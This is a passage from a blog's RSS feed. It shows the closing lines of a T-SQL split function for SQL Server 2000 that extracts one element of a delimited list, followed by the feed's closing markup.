    -- OTHERWISE SET LENGTH TO -1 AND THAT WILL BE AN INDICATOR TO RETURN EMPTY STRING
    ELSE SET @Length = -1
   END
   ELSE SET @Length = @DelimPos - @StartPos  -- otherwise length is now from new start pos right up to delimiter
  END
  -- RETURN THE EXTRACTED STRING
  IF @Length &gt; 0 SET @RetVal = SUBSTRING(@List,@StartPos,@Length)
  RETURN @RetVal
END</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.xentrope.de/sqlserver/split-funktion-fur-mssql-2000/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
